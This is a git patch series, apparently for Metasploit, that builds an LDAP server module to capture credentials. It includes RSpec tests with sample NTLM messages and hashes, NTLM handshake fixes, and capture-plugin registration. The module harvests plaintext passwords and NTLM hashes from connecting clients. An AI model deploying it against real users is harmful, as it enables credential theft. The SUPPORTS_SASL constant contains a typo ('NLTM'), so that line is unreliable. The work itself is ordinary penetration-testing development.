+RSpec.describe Rex::Proto::LDAP::Auth do + + subject(:nil_parameter_auth) do + described_class.new(nil, nil, nil, nil, nil) + end + + subject(:parameter_auth) do + described_class.new('1122334455667788', 'my_domain', 'my_server', 'my_dnsname', 'my_dnsdomain') + end + + before do + + @type3 = "0\x82\x01D\x02\x01\x01`\x82\x01=\x02\x01\x03\x04\x00\xA3\x82\x014\x04\nGSS-SPNEGO\x04\x82\x01$NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00@"\ + "\x00\x00\x00\x92\x00\x92\x00X\x00\x00\x00\f\x00\f\x00\xEA\x00\x00\x00\b\x00\b\x00\xF6\x00\x00\x00\x16\x00\x16\x00\xFE\x00\x00\x00\x10\x00\x10"\ + "\x00\x14\x01\x00\x00\x05\x02\x80BN\x98\xF8\x84,\x8At\b\x98\xEC\xB7\xC8\x15\x12l\x01\x92\xDDO\x88<\xFA\x0F\xF4Q\x9AA\x12\xC4\x991\xE2\xA0\xCETk"\ + "\x83\x00\xCA\x8D\x01\x01\x00\x00\x00\x00\x00\x00\x80\x15sIU\t\xDA\x01\x92\xDDO\x88<\xFA\x0F\xF4\x00\x00\x00\x00\x02\x00\f\x00D\x00O\x00M\x00A\x00I\x00N"\ + "\x00\x01\x00\f\x00S\x00E\x00R\x00V\x00E\x00R\x00\x04\x00\x16\x00e\x00x\x00a\x00m\x00p\x00l\x00e\x00.\x00c\x00o\x00m\x00\x03\x00$\x00S\x00E\x00R\x00V"\ + "\x00E\x00R\x00.\x00e\x00x\x00a\x00m\x00p\x00l\x00e\x00.\x00c\x00o\x00m\x00\x00\x00\x00\x00D\x00O\x00M\x00A\x00I\x00N\x00U\x00s\x00e\x00r\x00W\x00O\x00R"\ + "\x00K\x00S\x00T\x00A\x00T\x00I\x00O\x00N\x00\xFD\xF0\x01l#bF\xD2\x87\x14\x119#c*\xBA" + end + + let(:user_login) { OpenStruct.new } + let(:ntlm_type1) do + type1 = "0K\x02\x01\x01`F\x02\x01\x03\x04\x00\xA3?\x04\nGSS-SPNEGO\x041NTLMSSP\x00\x01\x00\x00\x00\x05\x82\x88B\x06\x00\x06\x00 \x00\x00\x00\v\x00\v\x00&\x00\x00\x00DOMAINWORKSTATION".read_ber(Net::LDAP::AsnSyntax) + pdu = Net::LDAP::PDU.new(type1) + pdu.bind_parameters + end + let(:ntlm_type3) do + pdu = Net::LDAP::PDU.new(@type3.read_ber(Net::LDAP::AsnSyntax)) + pdu.bind_parameters + end + + context '#initialize' do + it 'sets default values when called with nil arguments' do + expect(nil_parameter_auth.instance_variable_get(:@domain)).to eq('DOMAIN') + expect(nil_parameter_auth.instance_variable_get(:@server)).to eq('SERVER') + expect(nil_parameter_auth.instance_variable_get(:@dnsname)).to eq('server') + expect(nil_parameter_auth.instance_variable_get(:@dnsdomain)).to eq('example.com') + expect(nil_parameter_auth.instance_variable_get(:@challenge).length).to eq(8) + end + + it 'sets provided values when called with arguments' do + expect(parameter_auth.instance_variable_get(:@domain)).to eq('my_domain') + expect(parameter_auth.instance_variable_get(:@server)).to eq('my_server') + expect(parameter_auth.instance_variable_get(:@dnsname)).to eq('my_dnsname') + expect(parameter_auth.instance_variable_get(:@dnsdomain)).to eq('my_dnsdomain') + expect(parameter_auth.instance_variable_get(:@challenge).length).to eq(8) + end + end + + context '#handle_anonymous_request' do + before do + user_login.name = '' + user_login.authentication = '' + end + + it 'returns a hash with expected values for anonymous requests' do + result = parameter_auth.handle_anonymous_request(user_login) + + expect(result[:user]).to eq('') + expect(result[:pass]).to eq('') + expect(result[:domain]).to be_nil + expect(result[:auth_type]).to eq('Anonymous') + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeSuccess) + end + end + + context '#handle_simple_request' do + it 'handles requests with an username and domain in a DN object' do + user_login.name = 'cn=username,dc=domain,dc=com' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to eq('domain.com') + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('Simple') + end + + it 'handles requests with an username and multiple DC components for domain in a DN object' do + user_login.name = 'cn=username,dc=domain1,dc=domain2,dc=domain3' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to eq('domain1.domain2.domain3') + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('Simple') + end + + it 'handles requests with information in the form of username@domain' do + user_login.name = 'username@domain.com' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to eq('domain.com') + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('Simple') + end + + it 'handles requests with invalid DN and CN components' do + user_login.name = 'cn=user,name,mydomain,dc=com' + user_login.authentication = 'password' + # + # result = parameter_auth.handle_simple_request(user_login) + + expect{ parameter_auth.handle_simple_request(user_login) }.to raise_error(Net::LDAP::InvalidDNError) + end + + it 'handles requests with username and domain in NETBIOS format' do + user_login.name = 'domain\\username' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to eq('domain') + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('Simple') + end + + it 'handles authentication requests with incorrect request format' do + user_login.name = 'username' + user_login.authentication = 'password' + + result = parameter_auth.handle_simple_request(user_login) + + expect(result[:user]).to eq('username') + expect(result[:domain]).to be_nil + expect(result[:private]).to eq('password') + expect(result[:private_type]).to eq(:password) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeInvalidCredentials) + expect(result[:auth_type]).to eq('Simple') + end + end + + context '#handle_sasl_request' do + context 'using GSS-SPNEGO mechanism' do + context 'using LM/NTLM authentication' do + it 'handles NTLM Type1 requests with an NTLM type2 response' do + + result = parameter_auth.handle_sasl_request(ntlm_type1) + + expect(result[:server_creds]).to be_a(String) + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeSaslBindInProgress) + expect(result[:auth_type]).to eq('SASL') + end + + it 'handles NTLM Type3 requests containing client information' do + + result = parameter_auth.handle_sasl_request(ntlm_type3) + + expect(result[:domain]).to eq('DOMAIN') + expect(result[:user]).to eq('User') + expect(result[:private]).not_to be_nil + expect(result[:private_type]).to eq(:ntlm_hash) + expect(result[:auth_type]).to eq('SASL') + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + expect(result[:auth_type]).to eq('SASL') + end + end + end + end + + context 'private methods' do + context '#generate_type2_response' do + it 'returns a valid NTLM Type2 message from NTLM Type1 message' do + message = Net::NTLM::Message.parse(ntlm_type1.authentication[1]) + result = parameter_auth.send(:generate_type2_response, message) + + expect(result).to be_a(String) + end + end + + context '#handle_type3_message' do + it 'handles NTLM Type3 message and returns the expected authentication information' do + message = Net::NTLM::Message.parse(ntlm_type3.authentication[1]) + result = parameter_auth.send(:handle_type3_message, message) + + expect(result[:domain]).to eq('DOMAIN') + expect(result[:user]).to eq('User') + expect(result[:private]).not_to be_nil + expect(result[:private_type]).to eq(:ntlm_hash) + expect(result[:ntlm_ver]).not_to be_nil + end + end + + context '#process_ntlm_hash' do + it 'processes NTLM hash from Type3 message and returns the expected information' do + ntlm_info = { + ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE, + lm_hash: '054ab6f7f2d60c068bf03a4e27d99834', + lm_cli_challenge: '2464587cc5ef2d6c', + nt_hash: '93d3aa55263a1d37931a67a5b54710b8', + nt_cli_challenge: '0101000000000000006e8eed5507da012464587cc5ef2d6c0000000002000c004 + 4004f004d00410049004e0001000c005300450052005600450052000400160065 + 00780061006d0070006c0065002e0063006f006d0003002400530045005200560 + 0450052002e006500780061006d0070006c0065002e0063006f006d0000000000', + domain: "D\x00O\x00M\x00A\x00I\x00N\x00", + user: "U\x00s\x00e\x00r\x00", + host: "W\x00O\x00R\x00K\x00S\x00T\x00A\x00T\x00I\x00O\x00N\x00" + } + + result = parameter_auth.send(:process_ntlm_hash, ntlm_info) + + expect(result[:domain]).to eq('DOMAIN') + expect(result[:user]).to eq('User') + expect(result[:private]).not_to be_nil + expect(result[:private_type]).to eq(:ntlm_hash) + expect(result[:ntlm_ver]).not_to be_nil + end + end + end +end diff --git a/spec/lib/rex/proto/ldap/server_spec.rb b/spec/lib/rex/proto/ldap/server_spec.rb new file mode 100644 index 0000000000..9c6250038d --- /dev/null +++ b/spec/lib/rex/proto/ldap/server_spec.rb @@ -0,0 +1,161 @@ +# frozen_string_literal: true +require 'rex/text' + +RSpec.describe Rex::Proto::LDAP::Server do + + subject(:ldif) { nil } + + subject(:auth_provider) do + Rex::Proto::LDAP::Auth.new(nil, nil, nil, nil, nil) + end + + subject(:server) do + described_class.new('0.0.0.0', 40000, true, true, ldif, nil, auth_provider) + end + + let(:response) {} + + before do + server.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data| + processed_data = 'Processed Data' + end + end + + context 'initialize' do + it 'sets the server options correctly' do + expect(server.serve_udp).to eq(true) + expect(server.serve_tcp).to eq(true) + expect(server.sock_options).to include('LocalHost' => '0.0.0.0', 'LocalPort' => 40000, 'Comm' => nil) + expect(server.ldif).to eq(ldif) + expect(server.instance_variable_get(:@auth_provider)).to eq(auth_provider) + expect(server.instance_variable_get(:@auth_provider)).to be_a(Rex::Proto::LDAP::Auth) + end + end + + describe '#running?' do + context 'when the server is not running' do + it 'returns false' do + expect(server.running?).to be_nil + end + end + + context 'when the server is running' do + before { server.start } + + it 'returns true' do + expect(server.running?).not_to be_nil + end + + after { server.stop } + end + end + + describe '#start' do + context 'start server with the provided options' do + before { server.start } + + + it 'starts the UDP server if serve_udp is true' do + if server.serve_udp + expect(server.udp_sock).to be_a(Rex::Socket::Udp) + expect(server.running?).to be true + end + end + + it 'starts the TCP server if serve_tcp is true' do + if server.serve_tcp + expect(server.tcp_sock).to be_a(Rex::Socket::TcpServer) + expect(server.running?).to be true + end + end + + after { server.stop } + end + end + + describe '#stop' do + before { server.start } + + it 'stops the server when running' do + server.stop + expect(server.running?).to be nil + end + end + + describe '#dispatch_request' do + it 'calls dispatch_request_proc if it is set' do + client = double('client') + allow(client).to receive(:peerhost) { '1.1.1.1' } + allow(client).to receive(:peerport) { '389' } + allow(client).to receive(:write).with(response) + allow(client).to receive(:close) + + block_called = false + server.dispatch_request_proc = proc { block_called = true } + server.dispatch_request(client, 'LDAP request data') + expect(block_called).to be true + end + + it 'calls default_dispatch_request if dispatch_request_proc is not set' do + client = double('client') + allow(client).to receive(:peerhost) { '1.1.1.1' } + allow(client).to receive(:peerport) { '389' } + allow(client).to receive(:write).with(any_args) + allow(client).to receive(:close) + + expect { server.dispatch_request(client, String.new("02\x02\x01\x01`-\x02\x01\x03\x04\"cn=user,dc=example,dc=com\x80\x04kali").force_encoding('ASCII-8BIT')) }.not_to raise_error + end + end + + describe '#default_dispatch_request' do + it 'returns nil for empty request data' do + client = double('client') + allow(client).to receive(:peerhost) { '1.1.1.1' } + allow(client).to receive(:peerport) { '389' } + allow(client).to receive(:write).with(any_args) + allow(client).to receive(:close) + data = '' + expect { server.default_dispatch_request(client, data) }.not_to raise_error + end + end + + describe '#encode_ldap_response' do + it 'encodes an LDAP response correctly' do + msgid = 1 + code = Net::LDAP::ResultCodeSuccess + dn = '' + msg = Net::LDAP::ResultStrings[Net::LDAP::ResultCodeSuccess] + tag = Net::LDAP::PDU::BindResult + context_data = nil + context_code = nil + + response = server.encode_ldap_response(msgid, code, dn, msg, tag, context_data, context_code) + expect(response).to be_a(String) + end + end + + describe '#search_result' do + context 'when searching with no LDIF data' do + it 'returns a random search result' do + result = server.search_result(nil, 1) + + expect(result).to be_nil + end + end + end + + describe '#processed_pdu_handler' do + it 'sets the processed_pdu_handler correctly' do + + expect(server.instance_variable_get(:@pdu_process)[Net::LDAP::PDU::BindRequest]).to be_a(Proc) + expect((server.instance_variable_get(:@pdu_process)[Net::LDAP::PDU::BindRequest]).call({})).to eq('Processed Data') + end + end + + describe '#suitable_response' do + it 'returns the appropriate response type for a given request type' do + expect(server.suitable_response(Net::LDAP::PDU::BindRequest)).to eq(Net::LDAP::PDU::BindResult) + expect(server.suitable_response(Net::LDAP::PDU::SearchRequest)).to eq(Net::LDAP::PDU::SearchResult) + end + end +end From 2ab1b7a31022aada5b88525af3baeab462901dc4 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 2 Jan 2024 13:08:48 -0600 Subject: [PATCH 12/21] adjustments to NTLM LDAP support * invert storage test for callback * do not override service instance domain and hostname * remove wrapping `Array` on `context_data` in response * generate NTLM Type1 message instead of hardcoded blob --- lib/rex/proto/ldap/auth.rb | 20 ++++++++++++++++++-- lib/rex/proto/ldap/server.rb | 2 +- modules/auxiliary/server/capture/ldap.rb | 2 +- spec/lib/rex/proto/ldap/auth_spec.rb | 9 ++++++++- 4 files changed, 28 insertions(+), 5 deletions(-) diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb index b71080d870..99bc520d08 100644 --- a/lib/rex/proto/ldap/auth.rb +++ b/lib/rex/proto/ldap/auth.rb @@ -38,7 +38,7 @@ module Rex auth_info = handle_anonymous_request(user_login, auth_info) elsif !user_login.name.empty? # Simple auth_info = handle_simple_request(user_login, auth_info) - elsif user_login.authentication[0] == 'GSS-SPNEGO' # SASL especially SPNEGO + elsif sasl?(user_login) auth_info = handle_sasl_request(user_login, auth_info) else auth_info[:result_code] = Net::LDAP::ResultCodeUnwillingToPerform @@ -145,9 +145,22 @@ module Rex auth_info end - private + # + # Determine if the supplied request is formatted for SASL auth + # + # @param user_login [OpenStruct] User login information + # + # @return [bool] True if the request can be processed for SASL auth + def sasl?(user_login) + if user_login.authentication.is_a?(Array) && SUPPORTS_SASL.include?(user_login.authentication[0]) + return true + end + + false + end + # # Generate NTLM Type2 response from NTLM Type1 message # @@ -160,6 +173,9 @@ module Rex @domain = dom if dom @server = ws if ws server_hash = MESSAGE.process_type1_message(message.encode64, @challenge, @domain, @server, @dnsname, @dnsdomain) + domain = dom.empty? ? @domain : dom + server = ws.empty? ? @server : ws + server_hash = MESSAGE.process_type1_message(message.encode64, @challenge, domain, server, @dnsname, @dnsdomain) Rex::Text.decode_base64(server_hash) end diff --git a/lib/rex/proto/ldap/server.rb b/lib/rex/proto/ldap/server.rb index decbd4d781..fe7359878c 100644 --- a/lib/rex/proto/ldap/server.rb +++ b/lib/rex/proto/ldap/server.rb @@ -261,7 +261,7 @@ module Rex ] if context_data && context_code - tag_sequence << [context_data.to_ber].to_ber_contextspecific(context_code) + tag_sequence << context_data.to_ber_contextspecific(context_code) end [ diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index cb25c6097d..3de3b7acad 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -62,7 +62,7 @@ class MetasploitModule < Msf::Auxiliary def primer service.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data| - unless processed_data[:post_pdu] + if processed_data[:post_pdu] if processed_data[:error_msg] print_error(processed_data[:error_msg]) else diff --git a/spec/lib/rex/proto/ldap/auth_spec.rb b/spec/lib/rex/proto/ldap/auth_spec.rb index 55d7c7eda0..7382198e5e 100644 --- a/spec/lib/rex/proto/ldap/auth_spec.rb +++ b/spec/lib/rex/proto/ldap/auth_spec.rb @@ -26,7 +26,14 @@ RSpec.describe Rex::Proto::LDAP::Auth do let(:user_login) { OpenStruct.new } let(:ntlm_type1) do - type1 = "0K\x02\x01\x01`F\x02\x01\x03\x04\x00\xA3?\x04\nGSS-SPNEGO\x041NTLMSSP\x00\x01\x00\x00\x00\x05\x82\x88B\x06\x00\x06\x00 \x00\x00\x00\v\x00\v\x00&\x00\x00\x00DOMAINWORKSTATION".read_ber(Net::LDAP::AsnSyntax) + ntlm1 = Net::NTLM::Message::Type1.new.serialize + + sasl = ['GSS-SPNEGO'.to_ber, ntlm1.to_ber].to_ber_contextspecific(3) + br = [ + Net::LDAP::Connection::LdapVersion.to_ber, ''.to_ber, sasl + ].to_ber_appsequence(Net::LDAP::PDU::BindRequest) + + type1 = [0.to_ber, br, nil].compact.to_ber_sequence.read_ber(Net::LDAP::AsnSyntax) pdu = Net::LDAP::PDU.new(type1) pdu.bind_parameters end From 6d298c379bab012e94ff8dcb7ef93ae5278f2bcf Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Sun, 7 Jan 2024 13:02:04 -0600 Subject: [PATCH 13/21] remove unused advanced option --- modules/auxiliary/server/capture/ldap.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index 3de3b7acad..9fa8463486 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -46,7 +46,6 @@ class MetasploitModule < Msf::Auxiliary OptString.new('Server', [ false, 'The default server to use for NTLM authentication', 'SERVER']), OptString.new('DnsName', [ false, 'The default DNS server name to use for NTLM authentication', 'SERVER']), OptString.new('DnsDomain', [ false, 'The default DNS domain name to use for NTLM authentication', 'example.com']), - OptBool.new('ForceDefault', [ false, 'Force the default settings', false]), OptPath.new('LDIF_FILE', [ false, 'Directory LDIF file path']) ] ) From 5a14575a31f6c638d419dc560c164d7f3001af9d Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 11 Jan 2024 10:30:58 -0600 Subject: [PATCH 14/21] Adjustment for extra knobs to tweak during auth * clarify the NTLM SASL challenge * add default case for unsuppoted SASL types * implement unknown method to support override --- lib/rex/proto/ldap/auth.rb | 23 ++++++++++++++++++----- spec/lib/rex/proto/ldap/auth_spec.rb | 28 +++++++++++++++++++++------- 2 files changed, 39 insertions(+), 12 deletions(-) diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb index 99bc520d08..32b5272a0d 100644 --- a/lib/rex/proto/ldap/auth.rb +++ b/lib/rex/proto/ldap/auth.rb @@ -41,7 +41,7 @@ module Rex elsif sasl?(user_login) auth_info = handle_sasl_request(user_login, auth_info) else - auth_info[:result_code] = Net::LDAP::ResultCodeUnwillingToPerform + auth_info = handle_unknown_request(user_login, auth_info) end auth_info @@ -61,9 +61,20 @@ module Rex auth_info[:domain] = nil auth_info[:result_code] = Net::LDAP::ResultCodeSuccess auth_info[:auth_type] = 'Anonymous' - - auth_info end + auth_info + end + + # + # Handle Unknown authentication requests + # + # @param user_login [OpenStruct] User login information + # @param auth_info [Hash] Processed authentication information + # + # @return auth_info [Hash] Processed authentication information + def handle_unknown_request(user_login, auth_info = {}) + auth_info[:result_code] = Net::LDAP::ResultCodeUnwillingToPerform + auth_info end # @@ -130,9 +141,9 @@ module Rex # # @return auth_info [Hash] Processed authentication information def handle_sasl_request(user_login, auth_info = {}) - if user_login.authentication[1] =~ /NTLMSSP/ + case user_login.authentication[1] + when /NTLMSSP/ message = Net::NTLM::Message.parse(user_login.authentication[1]) - if message.is_a?(::Net::NTLM::Message::Type1) auth_info[:server_creds] = generate_type2_response(message) auth_info[:result_code] = Net::LDAP::ResultCodeSaslBindInProgress @@ -140,6 +151,8 @@ module Rex auth_info = handle_type3_message(message, auth_info) auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported end + else + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported end auth_info[:auth_type] = 'SASL' auth_info diff --git a/spec/lib/rex/proto/ldap/auth_spec.rb b/spec/lib/rex/proto/ldap/auth_spec.rb index 7382198e5e..34b0a4b1d5 100644 --- a/spec/lib/rex/proto/ldap/auth_spec.rb +++ b/spec/lib/rex/proto/ldap/auth_spec.rb @@ -4,7 +4,6 @@ require 'rex/text' require 'rex/proto/ntlm/message' RSpec.describe Rex::Proto::LDAP::Auth do - subject(:nil_parameter_auth) do described_class.new(nil, nil, nil, nil, nil) end @@ -14,7 +13,6 @@ RSpec.describe Rex::Proto::LDAP::Auth do end before do - @type3 = "0\x82\x01D\x02\x01\x01`\x82\x01=\x02\x01\x03\x04\x00\xA3\x82\x014\x04\nGSS-SPNEGO\x04\x82\x01$NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00@"\ "\x00\x00\x00\x92\x00\x92\x00X\x00\x00\x00\f\x00\f\x00\xEA\x00\x00\x00\b\x00\b\x00\xF6\x00\x00\x00\x16\x00\x16\x00\xFE\x00\x00\x00\x10\x00\x10"\ "\x00\x14\x01\x00\x00\x05\x02\x80BN\x98\xF8\x84,\x8At\b\x98\xEC\xB7\xC8\x15\x12l\x01\x92\xDDO\x88<\xFA\x0F\xF4Q\x9AA\x12\xC4\x991\xE2\xA0\xCETk"\ @@ -123,10 +121,8 @@ RSpec.describe Rex::Proto::LDAP::Auth do it 'handles requests with invalid DN and CN components' do user_login.name = 'cn=user,name,mydomain,dc=com' user_login.authentication = 'password' - # - # result = parameter_auth.handle_simple_request(user_login) - expect{ parameter_auth.handle_simple_request(user_login) }.to raise_error(Net::LDAP::InvalidDNError) + expect { parameter_auth.handle_simple_request(user_login) }.to raise_error(Net::LDAP::InvalidDNError) end it 'handles requests with username and domain in NETBIOS format' do @@ -162,16 +158,15 @@ RSpec.describe Rex::Proto::LDAP::Auth do context 'using GSS-SPNEGO mechanism' do context 'using LM/NTLM authentication' do it 'handles NTLM Type1 requests with an NTLM type2 response' do - result = parameter_auth.handle_sasl_request(ntlm_type1) expect(result[:server_creds]).to be_a(String) + expect(Net::NTLM::Message.parse(result[:server_creds])).to(be_a(Net::NTLM::Message::Type2)) expect(result[:result_code]).to eq(Net::LDAP::ResultCodeSaslBindInProgress) expect(result[:auth_type]).to eq('SASL') end it 'handles NTLM Type3 requests containing client information' do - result = parameter_auth.handle_sasl_request(ntlm_type3) expect(result[:domain]).to eq('DOMAIN') @@ -183,6 +178,25 @@ RSpec.describe Rex::Proto::LDAP::Auth do expect(result[:auth_type]).to eq('SASL') end end + + context 'unsupprted SASL value' do + let(:request) do + auth_message = 'INVALIDSSP' + sasl = ['GSS-SPNEGO'.to_ber, auth_message.to_ber].to_ber_contextspecific(3) + br = [ + Net::LDAP::Connection::LdapVersion.to_ber, ''.to_ber, sasl + ].to_ber_appsequence(Net::LDAP::PDU::BindRequest) + + type1 = [0.to_ber, br, nil].compact.to_ber_sequence.read_ber(Net::LDAP::AsnSyntax) + pdu = Net::LDAP::PDU.new(type1) + pdu.bind_parameters + end + it 'hanldes and unknown SASL header as unsuppoted' do + result = parameter_auth.handle_sasl_request(request) + expect(result[:auth_type]).to eq('SASL') + expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported) + end + end end end From bcefde29c338a8c022adb2475afa1580f0133860 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 23 Jan 2024 12:13:24 -0600 Subject: [PATCH 15/21] correct metadata for `Actions` usage --- modules/auxiliary/server/capture/ldap.rb | 39 +++++++++++------------- 1 file changed, 18 insertions(+), 21 deletions(-) diff --git a/modules/auxiliary/server/capture/ldap.rb b/modules/auxiliary/server/capture/ldap.rb index 9fa8463486..810b1fb2ba 100644 --- a/modules/auxiliary/server/capture/ldap.rb +++ b/modules/auxiliary/server/capture/ldap.rb @@ -6,28 +6,25 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::LDAP::Server - def initialize(info = {}) + def initialize(_info = {}) super( - update_info( - info, - 'Name' => 'Authentication Capture: LDAP', - 'Description' => %q{ - This module mocks an LDAP service to capture authentication - information of a client trying to authenticate against an LDAP service - }, - 'Author' => 'JustAnda7', - 'License' => MSF_LICENSE, - 'Action' => [ - [ 'Capture', { 'Description' => 'Run an LDAP capture server' } ] - ], - 'PassiveActions' => [ 'Capture' ], - 'DefaultActions' => 'Capture', - 'Notes' => { - 'Stability' => [], - 'Reliability' => [], - 'SideEffects' => [] - } - ) + 'Name' => 'Authentication Capture: LDAP', + 'Description' => %q{ + This module mocks an LDAP service to capture authentication + information of a client trying to authenticate against an LDAP service + }, + 'Author' => 'JustAnda7', + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Capture', { 'Description' => 'Run an LDAP capture server' } ] + ], + 'PassiveActions' => [ 'Capture' ], + 'DefaultAction' => 'Capture', + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } ) register_options( From d20ef7a08baaec9dcc1ab6491a4e54c2a7e626c7 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 23 Jan 2024 13:52:35 -0600 Subject: [PATCH 16/21] add `LDAP` to capture plugin --- data/capture_config.yaml | 2 ++ plugins/capture.rb | 6 ++++++ 2 files changed, 8 insertions(+) diff --git a/data/capture_config.yaml b/data/capture_config.yaml index 90e8d36776..c79cc065ca 100644 --- a/data/capture_config.yaml +++ b/data/capture_config.yaml @@ -16,6 +16,8 @@ services: enabled: yes - type: IMAP enabled: yes + - type: LDAP + enabled: yes - type: MSSQL enabled: yes - type: MySQL diff --git a/plugins/capture.rb b/plugins/capture.rb index 710d41c404..3b42cc191f 100644 --- a/plugins/capture.rb +++ b/plugins/capture.rb @@ -198,6 +198,7 @@ module Msf 'DRDA' => 'auxiliary/server/capture/drda', 'FTP' => 'auxiliary/server/capture/ftp', 'IMAP' => 'auxiliary/server/capture/imap', + 'LDAP' => 'auxiliary/server/capture/ldap', 'MSSQL' => 'auxiliary/server/capture/mssql', 'MySQL' => 'auxiliary/server/capture/mysql', 'POP3' => 'auxiliary/server/capture/pop3', @@ -578,6 +579,11 @@ module Msf datastore['CHALLENGE'] = config[:ntlm_challenge] end + def configure_ldap(datastore, config) + datastore['DOMAIN'] = config[:ntlm_domain] + datastore['CHALLENGE'] = config[:ntlm_challenge] + end + def configure_mssql(datastore, config) datastore['DOMAIN_NAME'] = config[:ntlm_domain] datastore['CHALLENGE'] = config[:ntlm_challenge] From 4cb18483d6587f7581760a6c4b2a948cd5bf8ae2 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 25 Jan 2024 10:56:25 -0600 Subject: [PATCH 17/21] cleanup LDAP NTLM type2 response --- lib/rex/proto/ldap/auth.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb index 32b5272a0d..ad27ce4813 100644 --- a/lib/rex/proto/ldap/auth.rb +++ b/lib/rex/proto/ldap/auth.rb @@ -183,9 +183,6 @@ module Rex def generate_type2_response(message) dom = message.domain ws = message.workstation - @domain = dom if dom - @server = ws if ws - server_hash = MESSAGE.process_type1_message(message.encode64, @challenge, @domain, @server, @dnsname, @dnsdomain) domain = dom.empty? ? @domain : dom server = ws.empty? ? @server : ws server_hash = MESSAGE.process_type1_message(message.encode64, @challenge, domain, server, @dnsname, @dnsdomain) From e5b5f12a4e9a65f2c7c7dbfaa57dcab78c0b4a7b Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 1 Feb 2024 07:53:09 -0600 Subject: [PATCH 18/21] add missing sasl mechanism constant * support mechanism reported as NTLM or GSS-SPNEGO * return ResultCodeAuthMethodNotSupported for unknown bindRequest auth --- lib/rex/proto/ldap/auth.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb index ad27ce4813..bbc2a69735 100644 --- a/lib/rex/proto/ldap/auth.rb +++ b/lib/rex/proto/ldap/auth.rb @@ -5,6 +5,7 @@ module Rex module Proto module LDAP class Auth + SUPPORTS_SASL = %w[GSS-SPNEGO NLTM] NTLM_CONST = Rex::Proto::NTLM::Constants NTLM_CRYPT = Rex::Proto::NTLM::Crypt MESSAGE = Rex::Proto::NTLM::Message @@ -73,7 +74,7 @@ module Rex # # @return auth_info [Hash] Processed authentication information def handle_unknown_request(user_login, auth_info = {}) - auth_info[:result_code] = Net::LDAP::ResultCodeUnwillingToPerform + auth_info[:result_code] = Net::LDAP::ResultCodeAuthMethodNotSupported auth_info end From 1c334ad67020206dafb47f3323f73e61981269b4 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 1 Feb 2024 08:49:16 -0600 Subject: [PATCH 19/21] address stack trace noticed in testing --- lib/rex/proto/ldap/server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/proto/ldap/server.rb b/lib/rex/proto/ldap/server.rb index fe7359878c..af0d9f3592 100644 --- a/lib/rex/proto/ldap/server.rb +++ b/lib/rex/proto/ldap/server.rb @@ -395,7 +395,7 @@ module Rex dispatch_request(cli, data) rescue EOFError => e - tcp_socket.close_client(cli) if cli + tcp_sock.close_client(cli) if cli raise e end From bed552d26e085f4a07db1a84d5fe7f84cc2791cc Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Fri, 2 Feb 2024 08:36:00 -0600 Subject: [PATCH 20/21] set error on unsupported LDAP auth --- lib/rex/proto/ldap/auth.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/rex/proto/ldap/auth.rb b/lib/rex/proto/ldap/auth.rb index bbc2a69735..19114af1a9 100644 --- a/lib/rex/proto/ldap/auth.rb +++ 